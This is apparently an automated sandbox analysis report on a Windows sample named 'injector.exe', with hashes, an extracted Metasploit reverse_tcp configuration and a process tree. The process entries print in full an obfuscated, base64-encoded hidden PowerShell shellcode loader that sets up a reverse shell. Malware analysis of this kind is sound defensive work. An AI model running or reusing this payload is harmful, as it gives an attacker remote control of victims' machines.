Analysis
-
max time kernel
130s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
30-04-2024 17:11
Static task
static1
Behavioral task
behavioral1
Sample
injector.exe
Resource
win10v2004-20240419-en
General
-
Target
injector.exe
-
Size
17KB
-
MD5
b28e5c6032fd48230965690e0ad17b45
-
SHA1
2383afc699375dac9578fb77cedb68ea6cb78136
-
SHA256
8cdcf2477c21f37447b5c862e79def1df2d6e7ad8d18e6c91c2f67134a8353cb
-
SHA512
05f07b7c062a5eca134ff6c8d1dc8fbba9412dcdca64c8fcc69cd69aa575acc411000f5aa33f2782087107b1793efb76b0de553d9b3acce97a26303da4844371
-
SSDEEP
384:rjcjwcOkjc5lPvL/c1fcoj8cCL1IDcU2PCcmL6nmhlkX3JMM7Gzq:rjcjwc1jc5B/c1fcoj8cCW6PCcfmAX3z
Malware Config
Extracted
metasploit
encoder/shikata_ga_nai
Extracted
metasploit
windows/reverse_tcp
192.168.88.128:9090
Signatures
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 3264 powershell.exe 3264 powershell.exe 2904 powershell.exe 2904 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3264 powershell.exe Token: SeDebugPrivilege 2904 powershell.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
injector.execmd.exepowershell.exepowershell.execsc.exedescription pid process target process PID 2224 wrote to memory of 2864 2224 injector.exe cmd.exe PID 2224 wrote to memory of 2864 2224 injector.exe cmd.exe PID 2864 wrote to memory of 3264 2864 cmd.exe powershell.exe PID 2864 wrote to memory of 3264 2864 cmd.exe powershell.exe PID 3264 wrote to memory of 2904 3264 powershell.exe powershell.exe PID 3264 wrote to memory of 2904 3264 powershell.exe powershell.exe PID 3264 wrote to memory of 2904 3264 powershell.exe powershell.exe PID 2904 wrote to memory of 5104 2904 powershell.exe csc.exe PID 2904 wrote to memory of 5104 2904 powershell.exe csc.exe PID 2904 wrote to memory of 5104 2904 powershell.exe csc.exe PID 5104 wrote to memory of 3728 5104 csc.exe cvtres.exe PID 5104 wrote to memory of 3728 5104 csc.exe cvtres.exe PID 5104 wrote to memory of 3728 5104 csc.exe cvtres.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\injector.exe"C:\Users\Admin\AppData\Local\Temp\injector.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2224 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -window hidden -EncodedCommand JABIADkAdQBlACAAPQAgACcAJABHAE4AVwBKACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAEcATgBXAEoAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZAA5ACwAMAB4AGUAOQAsADAAeABiAGEALAAwAHgAOAAyACwAMAB4ADYANwAsADAAeAAwAGQALAAwAHgAMQAzACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1ADgALAAwAHgAMwAzACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANABiACwAMAB4ADMAMQAsADAAeAA1ADAALAAwAHgAMQA3ACwAMAB4ADAAMwAsADAAeAA1ADAALAAwAHgAMQA3ACwAMAB4ADgAMwAsADAAeAA2AGEALAAwAHgAOQBiACwAMAB4AGUAZgAsADAAeABlADYALAAwAHgAOQA2ACwAMAB4ADgAYwAsADAAeAA3AGYALAAwAHgAMAA4ACwAMAB4ADYANgAsADAAeAA0AGQALAAwAHgAZQAwACwAMAB4ADMAOAAsADAAeABiADQALAAwAHgAMgA5ACwAMAB4ADYAYgAsADAAeAA2ADgALAAwAHgAMAA4ACwAMAB4ADMAOQAsADAAeAAzADkALAAwAHgAOAAxACwAMAB4AGUAMwAsADAAeAA2AGYALAAwAHgAYQBhACwAMAB4ADEAMAAsADAAeAAxADYALAAwAHgAOAAwACwAMAB4ADYANQAsADAAeAA2ADgALAAwAHgAZgBlACwAMAB4AGEAZQAsADAAeAA3ADYALAAwAHgAZQA2ACwAMAB4ADgAYwAsADAAeABmADgALAAwAHgAYgA5ACwAMAB4ADMAOQAsADAAeABkAGMALAAwAHgAYwA1ACwAMAB4AGQAOAAsADAAeABjADUALAAwAHgAMQBlACwAMAB4ADEAYQAsADAAeAAzAGIALAAwAHgAZgA3ACwAMAB4AGQAMQAsADAAeAA2AGYALAAwAHgAMwBhACwAMAB4ADMAMAAsADAAeABhADQALAAwAHgAMQBhACwAMAB4AGQAMwAsADAAeABlAGMALAAwAHgANgAxACwAMAB4ADYAZQAsADAAeAA3ADkALAAwAHgAMAAxACwAMAB4ADAANgAsADAAeAAzADIALAAwAHgANAAyACwAMAB4ADIAMAAsADAAeABjADgALAAwAHgAMwA4ACwAMAB4AGYAYQAsADAAeAA1AGEALAAwAHgANgBkACwAMAB4AGYAZQAsADAAeAA4AGYALAAwAHgAZAA2ACwAMAB4ADYAYwAsADAAeAAyAGYALAAwAHgAZQA0ACwAMAB4AGIAZgAsADAAeAA0AGUALAAwAHgAYwBlACwAMAB4ADIAOAAsADAAeABiADQALAAwAHgAYwA2ACwAMAB4AGMAOAAsADAAeAA5AGUALAAwAHgANABlACwAMAB4ADEAZgAsADAAeAA5AGMALAAwAHgAMgAyACwAMAB4ADYAMAAsADAAeAA2ADAALAAwAHgAMQA0ACwAMAB4AGQAMAAsADAAeABiADYALAAwAHgAMQA1ACwAMAB4AGEANgAsADAAeAAzADAALAAwAHgAOAA3ACwAMAB4AGUAOQAsADAAeAAwADUALAAwAHgANwBkACwAMAB4ADIANwAsADAAeABlADQALAAwAHgANQA0ACwAMAB4AGIAOQAsADAAeAA4ADAALAAwAHgAMQA2ACwAMAB4ADIAMwAsADAAeABiADEALAAwAHgAZgAyACwAMAB4AGEAYgAsADAAeAAzADQALAAwAHgAMAAyACwAMAB4ADgAOAAsADAAeAA3ADcALAAwAHgAYgAwACwAMAB4ADkANQAsADAAeAAyAGEALAAwAHgAZgBjACwAMAB4ADYAMgAsADAAeAA3ADIALAAwAHgAYwBhACwAMAB4AGQAMQAsADAAeABmADUALAAwAHgAZgAxACwAMAB4AGMAMAAsADAAeAA5AGUALAAwAHgANwAyACwAMAB4ADUAZAAsADAAeABjADUALAAwAHgAMgAxACwAMAB4ADUANgAsADAAeABkADUALAAwAHgAZgAxACwAMAB4AGEAYQAsADAAeAA1ADkALAAwAHgAMwBhACwAMAB4ADcAMAAsADAAeABlADgALAAwAHgANwBkACwAMAB4ADkAZQAsADAAeABkADgALAAwAHgAYQBiACwAMAB4ADEAYwAsADAAeAA4ADcALAAwAHgAOAA0ACwAMAB4ADEAYQAsADAAeAAyADAALAAwAHgAZAA3ACwAMAB4ADYAMQAsADAAeABjADMALAAwAHgAOAA0ACwAMAB4ADkAMwAsADAAeAA4ADAALAAwAHgAMQAyACwAMAB4AGIAOAAsADAAeAA1AGIALAAwAHgANQBiACwAMAB4ADEAYgAsADAAeABlADQALAAwAHgAYwBiACwAMAB4ADkANwAsADAAeABkADEALAAwAHgAMQA3ACwAMAB4ADAAYwAsADAAeABiADAALAAwAHgANgAyACwAMAB4ADYAYgAsADAAeAAzAGUALAAwAHgAMQBmACwAMAB4AGQAOAAsADAAeABlADMALAAwAHgANwAyACwAMAB4AGUAOAAsADAAeABjADYALAAwAHgAZgA0ACwAMAB4ADAAMwAsADAAeABmAGUALAAwAHgAZgA5ACwAMAB4ADIAYgAsADAAeABhAGIALAAwAHgANgBmACwAMAB4ADAANAAsADAAeABjAGMALAAwAHgAYwBjACwAMAB4AGEANgAsADAAeABjADIALAAwAHgAOQA4ACwAMAB4ADkAYwAsADAAeABkADAALAAwAHgAZQAzACwAMAB4AGEAMAAsADAAeAA3ADYALAAwAHgAMgAxACwAMAB4ADAAYwAsADAAeAA3ADUALAAwAHgAZQAyACwAMAB4ADIAYgAsADAAeAA5AGEALAAwAHgAYgA2ACwAMAB4ADUAYgAsADAAeAA3ADMALAAwAHgAZABhACwAMAB4ADUAZgAsADAAeAA5AGUALAAwAHgAOAA0ACwAMAB4AGYAOQAsADAAeAAxAGQALAAwAHgAMQA3ACwAMAB4ADYAMgAsADAAeABhAGQALAAwAHgANwAxACwAMAB4ADcAOAAsADAAeAAzAGIALAAwAHgAMABkACwAMAB4ADIAMgAsADAAeAAzADgALAAwAHgAZQBiACwAMAB4AGUANQAsADAAeAAyADgALAAwAHgAYgA3ACwAMAB4AGQANAAsADAAeAAxADUALAAwAHgANQAzACwAMAB4ADEAZAAsADAAeAA3AGQALAAwAHgAYgBmACwAMAB4AGIAYwAsADAAeABjADgALAAwAHgAZAA1ACwAMAB4ADUANwAsADAAeAAyADQALAAwAHgANQAxACwAMAB4AGEAZAAsADAAeABjADYALAAwAHgAYQA5ACwAMAB4ADQAZgAsADAAeABjAGIALAAwAHgAYwA4ACwAMAB4ADIAMgAsADAAeAA3AGMALAAwAHgAMgBiACwAMAB4ADgANgAsADAAeABjADIALAAwAHgAMAA5ACwAMAB4ADMAZgAsADAAeAA3AGUALAAwAHgAMgAzACwAMAB4ADQANAAsADAAeAAxAGQALAAwAHgAMgA4ACwAMAB4ADMAYwAsADAAeAA3ADIALAAwAHgAMAA4ACwAMAB4AGQANAAsADAAeABhADgALAAwAHgANwA5ACwAMAB4ADkAYgAsADAAeAA4ADMALAAwAHgANAA0ACwAMAB4ADgAMAAsADAAeABmAGEALAAwAHgAZQAzACwAMAB4AGMAYQAsADAAeAA3AGIALAAwAHgAMgA5ACwAMAB4ADcAOAAsADAAeABjADIALAAwAHgAZQA5ACwAMAB4ADkAMgAsADAAeAAxADYALAAwAHgAMgBiACwAMAB4AGYAZQAsADAAeAAxADIALAAwAHgAZQA2ACwAMAB4ADcAZAAsADAAeAA5ADQALAAwAHgAMQAyACwAMAB4ADgAZQAsADAAeABkADkALAAwAHgAYwBjACwAMAB4ADQAMAAsADAAeABhAGIALAAwAHgAMgA1ACwAMAB4AGQAOQAsADAAeABmADQALAAwAHgANgAwACwAMAB4AGIAMAAsADAAeABlADIALAAwAHgAYQBjACwAMAB4AGQANQAsADAAeAAxADMALAAwAHgAOABiACwAMAB4ADUAMgAsADAAeAAwADAALAAwAHgANQAzACwAMAB4ADEANAAsADAAeABhAGMALAAwAHgANgA3ACwAMAB4ADYANQAsADAAeAA2ADgALAAwAHgANwBiACwAMAB4ADQAMQAsADAAeAAxADMALAAwAHgAOAAwACwAMAB4AGIAZgA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQAbQBEAGIAPQAkAHcAOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsADAAeAAxADAAMAAwACwAJABnACwAMAB4ADQAMAApADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgACgAJAB6AC4ATABlAG4AZwB0AGgALQAxACkAOwAkAGkAKwArACkAIAB7ACQAdwA6ADoAbQBlAG0AcwBlAHQAKABbAEkAbgB0AFAAdAByAF0AKAAkAG0ARABiAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAGkAKQAsACAAJAB6AFsAJABpAF0ALAAgADEAKQB9ADsAJAB3ADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABtAEQAYgAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkAEgAOQB1AGUAKQApADsAJABGAHYARAAgAD0AIAAiAC0AZQBuAGMAIAAiADsAaQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA4ACkAewAkAEkAaQBYACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAaQBlAHgAIAAiACYAIAAkAEkAaQBYACAAJABGAHYARAAgACQAZQAiAH0AZQBsAHMAZQB7ADsAaQBlAHgAIAAiACYAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAJABGAHYARAAgACQAZQAiADsAfQA=2⤵
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -window hidden -EncodedCommand JABIADkAdQBlACAAPQAgACcAJABHAE4AVwBKACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAEcATgBXAEoAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZAA5ACwAMAB4AGUAOQAsADAAeABiAGEALAAwAHgAOAAyACwAMAB4ADYANwAsADAAeAAwAGQALAAwAHgAMQAzACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1ADgALAAwAHgAMwAzACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANABiACwAMAB4ADMAMQAsADAAeAA1ADAALAAwAHgAMQA3ACwAMAB4ADAAMwAsADAAeAA1ADAALAAwAHgAMQA3ACwAMAB4ADgAMwAsADAAeAA2AGEALAAwAHgAOQBiACwAMAB4AGUAZgAsADAAeABlADYALAAwAHgAOQA2ACwAMAB4ADgAYwAsADAAeAA3AGYALAAwAHgAMAA4ACwAMAB4ADYANgAsADAAeAA0AGQALAAwAHgAZQAwACwAMAB4ADMAOAAsADAAeABiADQALAAwAHgAMgA5ACwAMAB4ADYAYgAsADAAeAA2ADgALAAwAHgAMAA4ACwAMAB4ADMAOQAsADAAeAAzADkALAAwAHgAOAAxACwAMAB4AGUAMwAsADAAeAA2AGYALAAwAHgAYQBhACwAMAB4ADEAMAAsADAAeAAxADYALAAwAHgAOAAwACwAMAB4ADYANQAsADAAeAA2ADgALAAwAHgAZgBlACwAMAB4AGEAZQAsADAAeAA3ADYALAAwAHgAZQA2ACwAMAB4ADgAYwAsADAAeABmADgALAAwAHgAYgA5ACwAMAB4ADMAOQAsADAAeABkAGMALAAwAHgAYwA1ACwAMAB4AGQAOAAsADAAeABjADUALAAwAHgAMQBlACwAMAB4ADEAYQAsADAAeAAzAGIALAAwAHgAZgA3ACwAMAB4AGQAMQAsADAAeAA2AGYALAAwAHgAMwBhACwAMAB4ADMAMAAsADAAeABhADQALAAwAHgAMQBhACwAMAB4AGQAMwAsADAAeABlAGMALAAwAHgANgAxACwAMAB4ADYAZQAsADAAeAA3ADkALAAwAHgAMAAxACwAMAB4ADAANgAsADAAeAAzADIALAAwAHgANAAyACwAMAB4ADIAMAAsADAAeABjADgALAAwAHgAMwA4ACwAMAB4AGYAYQAsADAAeAA1AGEALAAwAHgANgBkACwAMAB4AGYAZQAsADAAeAA4AGYALAAwAHgAZAA2ACwAMAB4ADYAYwAsADAAeAAyAGYALAAwAHgAZQA0ACwAMAB4AGIAZgAsADAAeAA0AGUALAAwAHgAYwBlACwAMAB4ADIAOAAsADAAeABiADQALAAwAHgAYwA2ACwAMAB4AGMAOAAsADAAeAA5AGUALAAwAHgANABlACwAMAB4ADEAZgAsADAAeAA5AGMALAAwAHgAMgAyACwAMAB4ADYAMAAsADAAeAA2ADAALAAwAHgAMQA0ACwAMAB4AGQAMAAsADAAeABiADYALAAwAHgAMQA1ACwAMAB4AGEANgAsADAAeAAzADAALAAwAHgAOAA3ACwAMAB4AGUAOQAsADAAeAAwADUALAAwAHgANwBkACwAMAB4ADIANwAsADAAeABlADQALAAwAHgANQA0ACwAMAB4AGIAOQAsADAAeAA4ADAALAAwAHgAMQA2ACwAMAB4ADIAMwAsADAAeABiADEALAAwAHgAZgAyACwAMAB4AGEAYgAsADAAeAAzADQALAAwAHgAMAAyACwAMAB4ADgAOAAsADAAeAA3ADcALAAwAHgAYgAwACwAMAB4ADkANQAsADAAeAAyAGEALAAwAHgAZgBjACwAMAB4ADYAMgAsADAAeAA3ADIALAAwAHgAYwBhACwAMAB4AGQAMQAsADAAeABmADUALAAwAHgAZgAxACwAMAB4AGMAMAAsADAAeAA5AGUALAAwAHgANwAyACwAMAB4ADUAZAAsADAAeABjADUALAAwAHgAMgAxACwAMAB4ADUANgAsADAAeABkADUALAAwAHgAZgAxACwAMAB4AGEAYQAsADAAeAA1ADkALAAwAHgAMwBhACwAMAB4ADcAMAAsADAAeABlADgALAAwAHgANwBkACwAMAB4ADkAZQAsADAAeABkADgALAAwAHgAYQBiACwAMAB4ADEAYwAsADAAeAA4ADcALAAwAHgAOAA0ACwAMAB4ADEAYQAsADAAeAAyADAALAAwAHgAZAA3ACwAMAB4ADYAMQAsADAAeABjADMALAAwAHgAOAA0ACwAMAB4ADkAMwAsADAAeAA4ADAALAAwAHgAMQAyACwAMAB4AGIAOAAsADAAeAA1AGIALAAwAHgANQBiACwAMAB4ADEAYgAsADAAeABlADQALAAwAHgAYwBiACwAMAB4ADkANwAsADAAeABkADEALAAwAHgAMQA3ACwAMAB4ADAAYwAsADAAeABiADAALAAwAHgANgAyACwAMAB4ADYAYgAsADAAeAAzAGUALAAwAHgAMQBmACwAMAB4AGQAOAAsADAAeABlADMALAAwAHgANwAyACwAMAB4AGUAOAAsADAAeABjADYALAAwAHgAZgA0ACwAMAB4ADAAMwAsADAAeABmAGUALAAwAHgAZgA5ACwAMAB4ADIAYgAsADAAeABhAGIALAAwAHgANgBmACwAMAB4ADAANAAsADAAeABjAGMALAAwAHgAYwBjACwAMAB4AGEANgAsADAAeABjADIALAAwAHgAOQA4ACwAMAB4ADkAYwAsADAAeABkADAALAAwAHgAZQAzACwAMAB4AGEAMAAsADAAeAA3ADYALAAwAHgAMgAxACwAMAB4ADAAYwAsADAAeAA3ADUALAAwAHgAZQAyACwAMAB4ADIAYgAsADAAeAA5AGEALAAwAHgAYgA2ACwAMAB4ADUAYgAsADAAeAA3ADMALAAwAHgAZABhACwAMAB4ADUAZgAsADAAeAA5AGUALAAwAHgAOAA0ACwAMAB4AGYAOQAsADAAeAAxAGQALAAwAHgAMQA3ACwAMAB4ADYAMgAsADAAeABhAGQALAAwAHgANwAxACwAMAB4ADcAOAAsADAAeAAzAGIALAAwAHgAMABkACwAMAB4ADIAMgAsADAAeAAzADgALAAwAHgAZQBiACwAMAB4AGUANQAsADAAeAAyADgALAAwAHgAYgA3ACwAMAB4AGQANAAsADAAeAAxADUALAAwAHgANQAzACwAMAB4ADEAZAAsADAAeAA3AGQALAAwAHgAYgBmACwAMAB4AGIAYwAsADAAeABjADgALAAwAHgAZAA1ACwAMAB4ADUANwAsADAAeAAyADQALAAwAHgANQAxACwAMAB4AGEAZAAsADAAeABjADYALAAwAHgAYQA5ACwAMAB4ADQAZgAsADAAeABjAGIALAAwAHgAYwA4ACwAMAB4ADIAMgAsADAAeAA3AGMALAAwAHgAMgBiACwAMAB4ADgANgAsADAAeABjADIALAAwAHgAMAA5ACwAMAB4ADMAZgAsADAAeAA3AGUALAAwAHgAMgAzACwAMAB4ADQANAAsADAAeAAxAGQALAAwAHgAMgA4ACwAMAB4ADMAYwAsADAAeAA3ADIALAAwAHgAMAA4ACwAMAB4AGQANAAsADAAeABhADgALAAwAHgANwA5ACwAMAB4ADkAYgAsADAAeAA4ADMALAAwAHgANAA0ACwAMAB4ADgAMAAsADAAeABmAGEALAAwAHgAZQAzACwAMAB4AGMAYQAsADAAeAA3AGIALAAwAHgAMgA5ACwAMAB4ADcAOAAsADAAeABjADIALAAwAHgAZQA5ACwAMAB4ADkAMgAsADAAeAAxADYALAAwAHgAMgBiACwAMAB4AGYAZQAsADAAeAAxADIALAAwAHgAZQA2ACwAMAB4ADcAZAAsADAAeAA5ADQALAAwAHgAMQAyACwAMAB4ADgAZQAsADAAeABkADkALAAwAHgAYwBjACwAMAB4ADQAMAAsADAAeABhAGIALAAwAHgAMgA1ACwAMAB4AGQAOQAsADAAeABmADQALAAwAHgANgAwACwAMAB4AGIAMAAsADAAeABlADIALAAwAHgAYQBjACwAMAB4AGQANQAsADAAeAAxADMALAAwAHgAOABiACwAMAB4ADUAMgAsADAAeAAwADAALAAwAHgANQAzACwAMAB4ADEANAAsADAAeABhAGMALAAwAHgANgA3ACwAMAB4ADYANQAsADAAeAA2ADgALAAwAHgANwBiACwAMAB4ADQAMQAsADAAeAAxADMALAAwAHgAOAAwACwAMAB4AGIAZgA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQAbQBEAGIAPQAkAHcAOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsADAAeAAxADAAMAAwACwAJABnACwAMAB4ADQAMAApADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgACgAJAB6AC4ATABlAG4AZwB0AGgALQAxACkAOwAkAGkAKwArACkAIAB7ACQAdwA6ADoAbQBlAG0AcwBlAHQAKABbAEkAbgB0AFAAdAByAF0AKAAkAG0ARABiAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAGkAKQAsACAAJAB6AFsAJABpAF0ALAAgADEAKQB9ADsAJAB3ADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABtAEQAYgAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkAEgAOQB1AGUAKQApADsAJABGAHYARAAgAD0AIAAiAC0AZQBuAGMAIAAiADsAaQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA4ACkAewAkAEkAaQBYACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAaQBlAHgAIAAiACYAIAAkAEkAaQBYACAAJABGAHYARAAgACQAZQAiAH0AZQBsAHMAZQB7ADsAaQBlAHgAIAAiACYAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAJABGAHYARAAgACQAZQAiADsAfQA=3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3264 -
